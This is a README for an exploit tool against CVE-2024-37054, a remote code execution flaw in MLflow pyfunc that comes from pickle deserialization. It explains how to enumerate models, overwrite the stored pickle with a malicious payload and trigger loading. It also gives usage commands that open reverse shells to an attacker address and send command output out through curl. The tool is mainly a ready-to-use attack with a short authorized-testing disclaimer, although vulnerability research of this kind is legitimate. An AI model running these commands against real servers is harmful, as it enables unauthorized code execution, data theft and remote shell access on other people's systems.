## https://sploitus.com/exploit?id=177FD468-7171-53E9-9C3E-AC561066B7E5
# CVE-2024-37054 โ MLflow pyfunc Deserialization RCE
**Severity:** Critical
**Affected:** MLflow 0.9.0 โ 2.14.1
**Type:** Arbitrary code execution via Python pickle deserialization
## Description
`mlflow.pyfunc.load_model()` deserializes `python_model.pkl` from the artifact store without any sanitization. An attacker who can reach the MLflow artifacts REST API can overwrite that file with a malicious pickle, which executes arbitrary OS commands the next time the model is loaded.
## Files
| File | Purpose |
|------|---------|
| `exploit.py` | Generic exploit โ discovers models, poisons pickle, triggers RCE |
| `malicious_payload.py` | Standalone local model builder (useful for manual workflows) |
## Requirements
```bash
pip install requests cloudpickle
```
## Usage
```bash
# Enumerate registered models
python3 exploit.py --mlflow http://target:5000 list
# Reverse shell โ auto-selects first model, triggers via app endpoint
python3 exploit.py --mlflow http://target:5000 \
--trigger-url http://target/predict \
revshell 10.10.16.1 4444
# Explicit model + MLflow Basic Auth
python3 exploit.py --mlflow http://mlflow.target.com \
--model HiringModel --user admin --pass secret \
--trigger-url http://app.target.com/predict \
revshell 10.10.16.1 4444
# Blind command โ upload only, trigger model loading manually
python3 exploit.py --mlflow http://target:5000 \
exec 'curl http://10.10.16.1/$(id|base64)'
# Skip discovery with known IDs
python3 exploit.py --mlflow http://target:5000 \
--run-id --exp-id \
--trigger-url http://target/predict \
revshell 10.10.16.1 4444
```
## Key options
| Flag | Description |
|------|-------------|
| `--mlflow URL` | MLflow tracking server base URL (required) |
| `--model NAME` | Registered model name โ auto-selects first if omitted |
| `--version N` | Model version โ defaults to latest |
| `--user / --pass` | HTTP Basic Auth credentials for MLflow |
| `--run-id / --exp-id` | Bypass model discovery with known IDs |
| `--trigger-url URL` | App endpoint that calls `load_model()` โ omit to upload only |
| `--session COOKIE` | Session cookie sent with the trigger request |
## How it works
1. **Discover** โ query `/api/2.0/mlflow/registered-models/search` to find a model and its `run_id` / `experiment_id`
2. **Poison** โ `PUT` a malicious cloudpickle payload to `/api/2.0/mlflow-artifacts/artifacts/{exp_id}/{run_id}/artifacts/model/python_model.pkl`
3. **Trigger** โ any code path calling `mlflow.pyfunc.load_model()` on that model unpickles the payload and executes the command
The trigger step requires an application endpoint that loads the model. If none is known, use `--no-trigger` (or omit `--trigger-url`) and trigger loading through any available means.
## Disclaimer
For authorized penetration testing and educational purposes only.